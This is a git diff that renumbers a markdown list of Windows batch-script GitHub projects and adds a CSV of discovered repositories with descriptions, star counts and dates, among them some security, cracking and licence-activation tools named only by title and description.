collect host forensic data during incident response. - - Category: Development & Scripting Tools -20. **[TairikuOokami/Windows](https://github.com/TairikuOokami/Windows)** ⭐ 485 +21. **[TairikuOokami/Windows](https://github.com/TairikuOokami/Windows)** ⭐ 485 - Windows -21. **[rossy/mpv-install](https://github.com/rossy/mpv-install)** ⭐ 468 +22. **[rossy/mpv-install](https://github.com/rossy/mpv-install)** ⭐ 468 - Sets up file associations for mpv on Windows - - Category: File & Disk Utilities -22. **[davidmarble/virtualenvwrapper-win](https://github.com/davidmarble/virtualenvwrapper-win)** ⭐ 459 +23. **[davidmarble/virtualenvwrapper-win](https://github.com/davidmarble/virtualenvwrapper-win)** ⭐ 459 - Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts - - Category: Development & Scripting Tools -23. **[MajorGeek/MajorGeeks-Windows-Tweaks](https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks)** ⭐ 410 +24. **[MajorGeek/MajorGeeks-Windows-Tweaks](https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks)** ⭐ 410 - MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windo... - - Category: System Tweaks & Performance Enhancements -24. **[vmavromatis/gnome-layout-manager](https://github.com/vmavromatis/gnome-layout-manager)** ⭐ 401 +25. **[vmavromatis/gnome-layout-manager](https://github.com/vmavromatis/gnome-layout-manager)** ⭐ 401 - A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Wind... - - Category: System Tweaks & Performance Enhancements -25. **[TheBATeam/Batch-WI-FI-Brute-Forcer](https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer)** ⭐ 370 +26. **[TheBATeam/Batch-WI-FI-Brute-Forcer](https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer)** ⭐ 370 - This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make... - - Category: Network & Internet Tools -26. **[ph33nx/WinMasterBlocker](https://github.com/ph33nx/WinMasterBlocker)** ⭐ 346 +27. **[ph33nx/WinMasterBlocker](https://github.com/ph33nx/WinMasterBlocker)** ⭐ 346 - Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools. - - Category: Development & Scripting Tools -27. **[vogeljo/reset-vassistx](https://github.com/vogeljo/reset-vassistx)** ⭐ 339 +28. **[vogeljo/reset-vassistx](https://github.com/vogeljo/reset-vassistx)** ⭐ 339 - A small batch script for resetting Visual Assist X's trial period. - - Category: Development & Scripting Tools -28. **[xxmichibxx/Batch-CIA-3DS-Decryptor-Redux](https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux)** ⭐ 339 +29. **[xxmichibxx/Batch-CIA-3DS-Decryptor-Redux](https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux)** ⭐ 339 - Decrypting Nintendo 3DS games and applications (.3ds, .cia) - - Category: Gaming & Entertainment Tools -29. **[warengonzaga/wifi-passview](https://github.com/warengonzaga/wifi-passview)** ⭐ 337 +30. **[warengonzaga/wifi-passview](https://github.com/warengonzaga/wifi-passview)** ⭐ 337 - An open source batch script based WiFi Passview for Windows! - - Category: Development & Scripting Tools -30. **[tytsxai/IDM-Activation-Script-Chinese](https://github.com/tytsxai/IDM-Activation-Script-Chinese)** ⭐ 337 +31. **[tytsxai/IDM-Activation-Script-Chinese](https://github.com/tytsxai/IDM-Activation-Script-Chinese)** ⭐ 337 - GPL-3.0 开源的 IDM Activation Script 中文版：Windows 批处理脚本，支持 IDM 试用期冻结、普通激活、重置和环境自检 - - Category: Development & Scripting Tools -31. **[kaic/win-post-install](https://github.com/kaic/win-post-install)** ⭐ 334 +32. **[kaic/win-post-install](https://github.com/kaic/win-post-install)** ⭐ 334 - A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configura... - - Category: Development & Scripting Tools -32. **[TheBobPony/MSEdgeTweaker](https://github.com/TheBobPony/MSEdgeTweaker)** ⭐ 310 +33. **[TheBobPony/MSEdgeTweaker](https://github.com/TheBobPony/MSEdgeTweaker)** ⭐ 310 - Easily configure Microsoft Edge, the way you want it! -33. **[FoxP/PNG-to-ICO](https://github.com/FoxP/PNG-to-ICO)** ⭐ 288 +34. **[FoxP/PNG-to-ICO](https://github.com/FoxP/PNG-to-ICO)** ⭐ 288 - KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick. - - Category: Development & Scripting Tools -34. **[matej137/OutlookRemover](https://github.com/matej137/OutlookRemover)** ⭐ 259 +35. **[matej137/OutlookRemover](https://github.com/matej137/OutlookRemover)** ⭐ 259 - a little batch file that permanently removes the Outlook (New) app from Windows 10/11 - - Category: File & Disk Utilities -35. **[ancel1x/Ancels-Performance-Batch](https://github.com/ancel1x/Ancels-Performance-Batch)** ⭐ 251 +36. **[ancel1x/Ancels-Performance-Batch](https://github.com/ancel1x/Ancels-Performance-Batch)** ⭐ 251 - Open Source Tweaker made to improve system performance and lower system latency. - - Category: System Tweaks & Performance Enhancements -36. **[Espionage724/Windows](https://github.com/Espionage724/Windows)** ⭐ 228 +37. **[Espionage724/Windows](https://github.com/Espionage724/Windows)** ⭐ 228 - Various batch files for Windows - - Category: File & Disk Utilities -37. **[shoober420/windows11-scripts](https://github.com/shoober420/windows11-scripts)** ⭐ 212 +38. **[shoober420/windows11-scripts](https://github.com/shoober420/windows11-scripts)** ⭐ 212 - Windows 11 Scripts - - Category: Development & Scripting Tools -38. **[vegardit/cygwin-portable-installer](https://github.com/vegardit/cygwin-portable-installer)** ⭐ 211 +39. **[vegardit/cygwin-portable-installer](https://github.com/vegardit/cygwin-portable-installer)** ⭐ 211 - Windows batch file to perform unattended installations of a portable Cygwin environment. - - Category: File & Disk Utilities -39. **[ManuelGil/Script-Reset-Windows-Update-Tool](https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool)** ⭐ 201 +40. **[ManuelGil/Script-Reset-Windows-Update-Tool](https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool)** ⭐ 201 - This script reset the Windows Update Components. - - Category: Development & Scripting Tools -40. **[prestonsn/windows-10-activation-script](https://github.com/prestonsn/windows-10-activation-script)** ⭐ 192 +41. **[prestonsn/windows-10-activation-script](https://github.com/prestonsn/windows-10-activation-script)** ⭐ 192 - A Windows batch file that tries Windows activation keys found around the internet. - - Category: Development & Scripting Tools -41. **[auspbro/batch-snippets](https://github.com/auspbro/batch-snippets)** ⭐ 178 +42. **[auspbro/batch-snippets](https://github.com/auspbro/batch-snippets)** ⭐ 178 - 常用批处理 - - Category: Network & Internet Tools -42. **[JaredCabot/OneDrive-Uninstaller](https://github.com/JaredCabot/OneDrive-Uninstaller)** ⭐ 157 +43. **[JaredCabot/OneDrive-Uninstaller](https://github.com/JaredCabot/OneDrive-Uninstaller)** ⭐ 157 - Batch script to completely uninstall OneDrive in Windows 10 - - Category: Development & Scripting Tools -43. **[C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver](https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver)** ⭐ 157 +44. **[C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver](https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver)** ⭐ 157 - Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep you... - - Category: Development & Scripting Tools -44. **[KnightDanila/BAT_FFMPEG](https://github.com/KnightDanila/BAT_FFMPEG)** ⭐ 139 +45. **[KnightDanila/BAT_FFMPEG](https://github.com/KnightDanila/BAT_FFMPEG)** ⭐ 139 - Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:) - - Category: Development & Scripting Tools -45. **[happy05dz/Batch-Script-Collection](https://github.com/happy05dz/Batch-Script-Collection)** ⭐ 134 +46. **[happy05dz/Batch-Script-Collection](https://github.com/happy05dz/Batch-Script-Collection)** ⭐ 134 - Collection of Batch scripts, examples and some details for various commands are considered. - - Category: Development & Scripting Tools -46. **[FreakC-Foundation/FreakC](https://github.com/FreakC-Foundation/FreakC)** ⭐ 129 +47. **[FreakC-Foundation/FreakC](https://github.com/FreakC-Foundation/FreakC)** ⭐ 129 - FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch - - Category: Development & Scripting Tools -47. **[PassingTheKnowledge/Batchography](https://github.com/PassingTheKnowledge/Batchography)** ⭐ 128 +48. **[PassingTheKnowledge/Batchography](https://github.com/PassingTheKnowledge/Batchography)** ⭐ 128 - Scripts and snippets from the Batchography book - - Category: Development & Scripting Tools -48. **[Pyenb/Outlook-desktop-ad-blocker](https://github.com/Pyenb/Outlook-desktop-ad-blocker)** ⭐ 127 +49. **[Pyenb/Outlook-desktop-ad-blocker](https://github.com/Pyenb/Outlook-desktop-ad-blocker)** ⭐ 127 - A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox. - - Category: Development & Scripting Tools -49. **[m2nlight/WindowsServerToWindowsDesktop](https://github.com/m2nlight/WindowsServerToWindowsDesktop)** ⭐ 125 +50. **[m2nlight/WindowsServerToWindowsDesktop](https://github.com/m2nlight/WindowsServerToWindowsDesktop)** ⭐ 125 - A bat script to auto config Windows Server 2016 to "Windows Desktop" - - Category: Development & Scripting Tools -50. **[jonstephens85/instantngp-batch](https://github.com/jonstephens85/instantngp-batch)** ⭐ 122 +51. **[jonstephens85/instantngp-batch](https://github.com/jonstephens85/instantngp-batch)** ⭐ 122 - Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows. - - Category: File & Disk Utilities -51. **[YasserDRIF/Toggle-Tweaker](https://github.com/YasserDRIF/Toggle-Tweaker)** ⭐ 116 +52. **[YasserDRIF/Toggle-Tweaker](https://github.com/YasserDRIF/Toggle-Tweaker)** ⭐ 116 - A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the ... - - Category: Development & Scripting Tools -52. **[Serede/mkvtoolnix-batch](https://github.com/Serede/mkvtoolnix-batch)** ⭐ 115 +53. **[Serede/mkvtoolnix-batch](https://github.com/Serede/mkvtoolnix-batch)** ⭐ 115 - Windows Batch script to automate batch processing using mkvtoolnix. - - Category: Development & Scripting Tools -53. **[gatoslu/KMS-VL-ALL-CMD](https://github.com/gatoslu/KMS-VL-ALL-CMD)** ⭐ 114 +54. **[gatoslu/KMS-VL-ALL-CMD](https://github.com/gatoslu/KMS-VL-ALL-CMD)** ⭐ 114 - Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products -54. **[chainski/WindowsCleanerUtility](https://github.com/chainski/WindowsCleanerUtility)** ⭐ 113 +55. **[chainski/WindowsCleanerUtility](https://github.com/chainski/WindowsCleanerUtility)** ⭐ 113 - A minimal windows batch script that cleans your PC from temporary files. - - Category: System Tweaks & Performance Enhancements -55. **[K3V1991/ADBKit](https://github.com/K3V1991/ADBKit)** ⭐ 110 +56. **[K3V1991/ADBKit](https://github.com/K3V1991/ADBKit)** ⭐ 110 - Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window - - Category: Development & Scripting Tools -56. **[Kawwabi/TerabyteTweaker](https://github.com/Kawwabi/TerabyteTweaker)** ⭐ 110 +57. **[Kawwabi/TerabyteTweaker](https://github.com/Kawwabi/TerabyteTweaker)** ⭐ 110 - Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a "Bad PC" onto a "Medium PC", and turns ... -57. **[weareblahs/WSAUtilities](https://github.com/weareblahs/WSAUtilities)** ⭐ 109 +58. **[weareblahs/WSAUtilities](https://github.com/weareblahs/WSAUtilities)** ⭐ 109 - CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics. - - Category: System Information & Diagnostics -58. **[bequiet11/autodesk-complete-uninstaller](https://github.com/bequiet11/autodesk-complete-uninstaller)** ⭐ 106 +59. **[bequiet11/autodesk-complete-uninstaller](https://github.com/bequiet11/autodesk-complete-uninstaller)** ⭐ 106 - Single-file Windows batch tool to fully detect, uninstall, and deep-clean all Autodesk products (2015–2026+). Achieves verified zero-remnant clean ... - - Category: File & Disk Utilities -59. **[Zusier/Zusiers-optimization-Batch](https://github.com/Zusier/Zusiers-optimization-Batch)** ⭐ 106 +60. **[Zusier/Zusiers-optimization-Batch](https://github.com/Zusier/Zusiers-optimization-Batch)** ⭐ 106 - The open source batch file that gives efforts to boost system performance, latency, and stability. - - Category: System Tweaks & Performance Enhancements -60. **[sim0n00ps/L3-Dumping](https://github.com/sim0n00ps/L3-Dumping)** ⭐ 101 +61. **[sim0n00ps/L3-Dumping](https://github.com/sim0n00ps/L3-Dumping)** ⭐ 101 - Batch scripts to dump L3 CDM using frida-server and wvdumper - - Category: Development & Scripting Tools -61. **[gameclamp/MangaMeeyaAssociations](https://github.com/gameclamp/MangaMeeyaAssociations)** ⭐ 100 +62. **[gameclamp/MangaMeeyaAssociations](https://github.com/gameclamp/MangaMeeyaAssociations)** ⭐ 100 - 在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。 - - Category: Gaming & Entertainment Tools --- diff --git a/z.repo_support/scripts/discovered_repos_20261007.csv b/z.repo_support/scripts/discovered_repos_20261007.csv new file mode 100644 index 00000000..82277783 --- /dev/null +++ b/z.repo_support/scripts/discovered_repos_20261007.csv @@ -0,0 +1,168 @@ +name,url,description,stars,forks,language,created_at,updated_at +peass-ng/PEASS-ng,https://github.com/peass-ng/PEASS-ng,PEASS - Privilege Escalation Awesome Scripts SUITE (with colors),20628,3394,C#,2019-01-13T19:58:24Z,2026-10-07T08:03:37Z +AveYo/MediaCreationTool.bat,https://github.com/AveYo/MediaCreationTool.bat,Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!,10310,3142,Batchfile,2021-10-09T21:01:45Z,2026-10-07T04:29:27Z +YILS-LIN/short-video-factory,https://github.com/YILS-LIN/short-video-factory,"一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beautiful cross platform desktop tool",5543,774,TypeScript,2025-07-09T05:55:44Z,2026-10-07T08:35:46Z +ShadowWhisperer/Remove-MS-Edge,https://github.com/ShadowWhisperer/Remove-MS-Edge,Uninstall Microsoft Edge with a batch script.,5513,211,Batchfile,2020-12-09T14:57:18Z,2026-10-07T03:42:25Z +batsh-dev-team/Batsh,https://github.com/batsh-dev-team/Batsh,A language that compiles to Bash and Windows Batch,4351,166,OCaml,2013-09-02T10:45:45Z,2026-10-02T19:55:44Z +ayoisaiah/f2,https://github.com/ayoisaiah/f2,F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go!,2454,66,Go,2020-04-28T00:20:46Z,2026-10-06T20:29:59Z +tsgrgo/windows-update-disabler,https://github.com/tsgrgo/windows-update-disabler,Disable/Enable Windows update with a lightweight batch tool.,2395,220,Batchfile,2022-01-24T14:53:05Z,2026-10-07T09:05:32Z +m-ab-s/media-autobuild_suite,https://github.com/m-ab-s/media-autobuild_suite,This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows.,1831,301,Shell,2013-09-28T20:07:11Z,2026-10-07T05:22:23Z +ios12checker/Windows-Maintenance-Tool,https://github.com/ios12checker/Windows-Maintenance-Tool,"A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers – now smarter, safer, and fully offline-compatible.",1539,81,PowerShell,2025-06-09T01:23:09Z,2026-10-06T13:05:52Z +abbodi1406/BatUtil,https://github.com/abbodi1406/BatUtil,Collection of batch scripts utilities for Windows,1486,289,VBScript,2018-11-15T05:41:47Z,2026-10-06T20:48:44Z +npocmaka/batch.scripts,https://github.com/npocmaka/batch.scripts,batch script utils and examples by npocmaka -,1135,877,Batchfile,2014-04-18T17:53:07Z,2026-10-07T02:10:35Z +Aetherinox/pause-windows-updates,https://github.com/Aetherinox/pause-windows-updates,Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11.,905,54,Batchfile,2023-08-31T14:26:26Z,2026-10-07T03:17:18Z +illsk1lls/ZipRipper,https://github.com/illsk1lls/ZipRipper,"A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper.",806,114,Batchfile,2023-12-27T05:29:37Z,2026-10-04T03:21:58Z +boxcutter/windows-batch,https://github.com/boxcutter/windows-batch,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,767,258,Ruby,2015-02-13T03:29:15Z,2026-10-06T17:56:40Z +K3V1991/ADB-and-FastbootPlusPlus,https://github.com/K3V1991/ADB-and-FastbootPlusPlus,A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the entire Android SDK Package + Toolkit & Commands,755,99,Batchfile,2022-05-24T10:06:00Z,2026-10-05T21:53:08Z +HaveAGitGat/HBBatchBeast,https://github.com/HaveAGitGat/HBBatchBeast,"A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching) -Windows, macOS, Linux & Docker",711,58,HTML,2019-01-12T07:09:53Z,2026-10-04T04:55:34Z +enjoiz/Privesc,https://github.com/enjoiz/Privesc,Windows batch script that finds misconfiguration issues which can lead to privilege escalation.,686,104,PowerShell,2015-11-19T13:22:01Z,2026-09-24T15:43:31Z +semazurek/ET-Optimizer,https://github.com/semazurek/ET-Optimizer,"ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11.",623,46,C#,2021-06-18T21:14:22Z,2026-10-02T19:56:40Z +slorelee/wimbuilder2,https://github.com/slorelee/wimbuilder2,wimbuilder with new UI & new syntax (hta+bat+vbs+js),605,128,Batchfile,2018-06-24T06:33:48Z,2026-10-05T03:01:01Z +diogo-fernan/ir-rescue,https://github.com/diogo-fernan/ir-rescue,A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.,488,91,Batchfile,2016-08-02T21:01:45Z,2026-09-15T12:03:46Z +TairikuOokami/Windows,https://github.com/TairikuOokami/Windows,Windows,487,95,Batchfile,2021-03-28T13:59:24Z,2026-10-06T17:57:50Z +rossy/mpv-install,https://github.com/rossy/mpv-install,Sets up file associations for mpv on Windows,472,47,Batchfile,2015-02-24T15:00:45Z,2026-09-30T12:36:25Z +davidmarble/virtualenvwrapper-win,https://github.com/davidmarble/virtualenvwrapper-win,Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts,458,103,Batchfile,2011-01-10T20:08:13Z,2026-07-27T10:44:56Z +richhost/pixzip-lite,https://github.com/richhost/pixzip-lite,Easy to use batch image compression software. Powered by Svelte 5 🧡 Wails. 简单易用的批量图片压缩软件，使用 Svelte 5、Wails 构建。,432,22,Java,2022-12-31T06:35:58Z,2026-10-03T12:47:53Z +xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,"Decrypting Nintendo 3DS games and applications (.3ds, .cia)",423,28,Batchfile,2023-11-28T21:43:39Z,2026-10-06T21:14:15Z +ph33nx/WinMasterBlocker,https://github.com/ph33nx/WinMasterBlocker,"Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools.",416,40,Batchfile,2024-10-24T23:08:26Z,2026-10-06T17:56:22Z +MajorGeek/MajorGeeks-Windows-Tweaks,https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks,"MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windows 10, 8, and 7 for any skill level.",413,36,,2020-07-07T18:37:01Z,2026-10-06T06:32:55Z +vmavromatis/gnome-layout-manager,https://github.com/vmavromatis/gnome-layout-manager,"A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Windows and macOS.",401,39,Shell,2017-04-17T11:02:55Z,2026-09-11T07:47:11Z +TheBATeam/Batch-WI-FI-Brute-Forcer,https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer,"This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make everyone aware that how easy it is to break a simple password. And, motivate them to keep some complex passwords – to keep them protected against it.",392,193,Batchfile,2020-05-16T09:15:23Z,2026-10-05T13:50:56Z +KingKDot/SomalifuscatorV2,https://github.com/KingKDot/SomalifuscatorV2,Most advanced and poorly coded windows batch obfuscator ever made (aka the best),353,43,Python,2022-09-23T00:46:51Z,2026-10-02T21:08:44Z +vogeljo/reset-vassistx,https://github.com/vogeljo/reset-vassistx,A small batch script for resetting Visual Assist X's trial period.,345,100,Batchfile,2016-11-15T20:08:47Z,2026-09-17T02:57:02Z +kaic/win-post-install,https://github.com/kaic/win-post-install,A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configurations to create a personalized Windows setup script.,345,16,JavaScript,2025-12-01T20:43:03Z,2026-10-06T14:33:14Z +warengonzaga/wifi-passview,https://github.com/warengonzaga/wifi-passview,An open source batch script based WiFi Passview for Windows!,338,81,Batchfile,2018-02-05T21:00:56Z,2026-10-04T21:49:01Z +cjee21/Check-UEFISecureBootVariables,https://github.com/cjee21/Check-UEFISecureBootVariables,"PowerShell scripts to check the UEFI KEK, DB and DBX Secure Boot variables as well as scripts for other Secure Boot related items.",319,20,PowerShell,2024-02-14T08:44:04Z,2026-10-05T11:05:37Z +FoxP/PNG-to-ICO,https://github.com/FoxP/PNG-to-ICO,"KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick.",309,33,Batchfile,2018-03-10T20:18:32Z,2026-10-05T13:11:23Z +TheBobPony/MSEdgeTweaker,https://github.com/TheBobPony/MSEdgeTweaker,"Easily configure Microsoft Edge, the way you want it!",307,12,Batchfile,2024-06-14T17:04:37Z,2026-09-28T10:01:12Z +shenwei356/brename,https://github.com/shenwei356/brename,A practical cross-platform command-line tool for safely batch renaming files/directories via regular expression,300,21,Go,2013-09-06T07:48:12Z,2026-10-05T13:58:42Z +iKineticate/LinkEcho,https://github.com/iKineticate/LinkEcho,"随心批量更换/恢复快捷方式图标，个性化自定义图标设计 ( Batch replace/restore shortcuts icons as you wish, personalized custom icon design)",297,10,Rust,2024-04-16T12:05:13Z,2026-10-05T09:42:10Z +islamadel/bat2exe,https://github.com/islamadel/bat2exe,Automatically exported from code.google.com/p/bat2exe,286,31,Batchfile,2015-08-17T08:40:34Z,2026-09-24T01:12:48Z +Kreijstal/BatchProjects,https://github.com/Kreijstal/BatchProjects,All projects batch,281,2,Batchfile,2014-06-22T09:04:18Z,2026-07-17T03:43:39Z +GDX-X/PFS-BatchKit-Manager,https://github.com/GDX-X/PFS-BatchKit-Manager,Manage your PlayStation 2/PSX DESR HDD,267,20,Batchfile,2021-10-24T00:36:27Z,2026-10-04T01:33:48Z +bequiet11/autodesk-complete-uninstaller,https://github.com/bequiet11/autodesk-complete-uninstaller,"Single-file Windows .bat that fully uninstalls and deep-cleans every Autodesk product (2015-2027+), including Desktop Connector. 17-point zero-remnant verification, opt-in user-data handling, no reboot required.",265,20,Batchfile,2026-03-22T13:28:12Z,2026-10-07T00:48:10Z +matej137/OutlookRemover,https://github.com/matej137/OutlookRemover,a little batch file that permanently removes the Outlook (New) app from Windows 10/11,259,21,Batchfile,2024-04-17T14:40:06Z,2026-08-16T01:36:14Z +patrickfav/density-converter,https://github.com/patrickfav/density-converter,"A multi platform image density converting tool converting single or batches of images to Android, iOS, Windows or CSS specific formats and density versions given the source scale factor or width/height in dp. It has a graphical and command line interface and supports many image types (svg, psd, 9-patch, etc.) aswell as some lossless compressors like pngcrush.",253,31,Java,2016-02-25T23:31:35Z,2026-08-25T16:39:39Z +Ivan-Ayub97/Warlock-Studio,https://github.com/Ivan-Ayub97/Warlock-Studio,"Suite for Windows with Real-ESRGAN, RealESRNet, RealESRAnime, BSRGAN , IRCNN, GFPGAN & RIFE. Upscaling, face restoration, frame interpolation, denoising, batch processing & GPU acceleration in one tool.",251,22,Python,2025-05-17T06:59:10Z,2026-10-02T15:14:19Z +ancel1x/Ancels-Performance-Batch,https://github.com/ancel1x/Ancels-Performance-Batch,Open Source Tweaker made to improve system performance and lower system latency.,250,23,Batchfile,2023-02-05T18:19:47Z,2026-09-17T07:07:51Z +daniel-sc/bash-shell-to-bat-converter,https://github.com/daniel-sc/bash-shell-to-bat-converter,Converter for bash shell scripts to windows batch files.,246,46,TypeScript,2019-10-15T19:21:37Z,2026-08-26T08:59:55Z +shoober420/windows11-scripts,https://github.com/shoober420/windows11-scripts,Windows 11 Scripts,238,32,Batchfile,2023-07-28T21:26:41Z,2026-10-04T22:04:21Z +Espionage724/Windows,https://github.com/Espionage724/Windows,Various batch files for Windows,235,57,Batchfile,2017-05-01T09:00:20Z,2026-09-17T07:07:47Z +stbrenner/SilentCMD,https://github.com/stbrenner/SilentCMD,SilentCMD executes a batch file without opening the command prompt window.,227,23,C#,2016-04-04T21:38:48Z,2026-09-12T22:22:33Z +EveningStudy/asmr-dubber,https://github.com/EveningStudy/asmr-dubber,"日语／英语／中文音视频 → 中文/英文配音与字幕。支持音色克隆、双语混音、RTF 空间处理、人声分离、批量处理和仅字幕导出。JA/EN/ZH media → Chinese/English dubbing & subtitles. Voice cloning, bilingual mixing, RTF spatial processing, vocal separation, batch processing & subtitle-only export",227,14,Python,2026-07-23T18:16:47Z,2026-10-07T01:07:41Z +yornaath/batshit,https://github.com/yornaath/batshit,A batch manager that will deduplicate and batch requests for a certain data type made within a window. Useful to batch requests made from multiple react components that uses react-query,225,6,TypeScript,2022-12-22T12:29:10Z,2026-09-18T02:05:04Z +vegardit/cygwin-portable-installer,https://github.com/vegardit/cygwin-portable-installer,Windows batch file to perform unattended installations of a portable Cygwin environment.,211,43,Batchfile,2017-06-17T11:42:38Z,2026-10-03T11:48:32Z +blackrosezy/build-libcurl-windows,https://github.com/blackrosezy/build-libcurl-windows,Batch script to download and build libcurl (using Visual Studio compiler),208,75,HTML,2013-05-26T12:54:58Z,2026-06-21T12:42:01Z +freshe/poddl,https://github.com/freshe/poddl,Podcast Downloader - Download all podcasts / episodes from an RSS-feed,205,19,C++,2019-04-16T11:08:08Z,2026-10-02T07:11:45Z +ManuelGil/Script-Reset-Windows-Update-Tool,https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool,This script reset the Windows Update Components.,201,48,Batchfile,2017-04-11T03:59:07Z,2026-09-28T10:48:30Z +dehoisted/Bat2Exe,https://github.com/dehoisted/Bat2Exe,Windows user interface for converting your batch files into executables.,196,31,C#,2021-07-15T17:06:15Z,2026-09-15T09:28:26Z +prestonsn/windows-10-activation-script,https://github.com/prestonsn/windows-10-activation-script,A Windows batch file that tries Windows activation keys found around the internet.,194,79,Batchfile,2019-08-02T20:18:08Z,2026-09-03T18:26:14Z +auspbro/batch-snippets,https://github.com/auspbro/batch-snippets,常用批处理,180,66,Batchfile,2015-10-28T05:41:07Z,2026-09-18T23:21:47Z +wieslawsoltes/BatchEncoder,https://github.com/wieslawsoltes/BatchEncoder,BatchEncoder is an audio files conversion software.,177,17,C++,2017-01-07T06:25:25Z,2026-07-09T09:18:41Z +yanncam/exe2powershell,https://github.com/yanncam/exe2powershell,exe2powershell - exe2bat reborn for modern Windows,176,42,C++,2016-03-02T11:23:32Z,2026-10-01T16:29:00Z +DosX-dev/BatchToApp,https://github.com/DosX-dev/BatchToApp,Convert your .bat/.cmd scripts to .exe and protect (obfuscate) them with BatchToApp!,173,9,Visual Basic .NET,2024-06-17T20:41:59Z,2026-10-06T09:07:59Z +GChuf/RCWM,https://github.com/GChuf/RCWM,"Right Click Windows Magic is an open-source set of right-click (context) menu tools for admins, power users and other magic beings. Batch&Powershell.",171,8,PowerShell,2020-08-15T12:56:11Z,2026-09-17T11:04:10Z +Andrew-J-Larson/OS-Scripts,https://github.com/Andrew-J-Larson/OS-Scripts,This is where I'll put my custom scripts/functions that might be useful in future projects of mine.,166,37,PowerShell,2019-09-01T18:45:46Z,2026-10-02T19:56:24Z +JaredCabot/OneDrive-Uninstaller,https://github.com/JaredCabot/OneDrive-Uninstaller,Batch script to completely uninstall OneDrive in Windows 10 and 11,165,39,Batchfile,2016-07-22T15:31:39Z,2026-10-06T15:25:50Z +SkyEmie/batch-obfuscator,https://github.com/SkyEmie/batch-obfuscator,Easy way to obfuscate windows batch files (demo),165,28,PHP,2019-05-23T22:21:42Z,2026-08-14T11:45:19Z +w3c/libwww,https://github.com/w3c/libwww,"Libwww is a highly modular, general-purpose client side Web API written in C for Unix and Windows (Win32). It's well suited for both small and large applications, like browser/editors, robots, batch tools, etc. Pluggable modules provided with libwww include complete HTTP/1.1 (with caching, pipelining, PUT, POST, Digest Authentication, deflate, etc), MySQL logging, FTP, HTML/4, XML (expat), RDF (SiRPAC), WebDAV, and much more. The purpose of libwww is to serve as a testbed for protocol experiments. This is a complete mirror of the libwww CVS repository",162,36,C,2013-02-01T18:27:43Z,2026-10-02T19:55:42Z +ricardorodrigues-ca/zoom-recording-downloader,https://github.com/ricardorodrigues-ca/zoom-recording-downloader,Downloads and organizes all cloud recordings from your Zoom Business account,161,85,Python,2020-04-26T04:57:53Z,2026-08-14T20:36:28Z +C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep your game servers automaticly updated updating intervals announce the server is shutting down for updates etc all configurable.,158,30,Batchfile,2015-05-01T23:34:22Z,2026-09-04T20:57:13Z 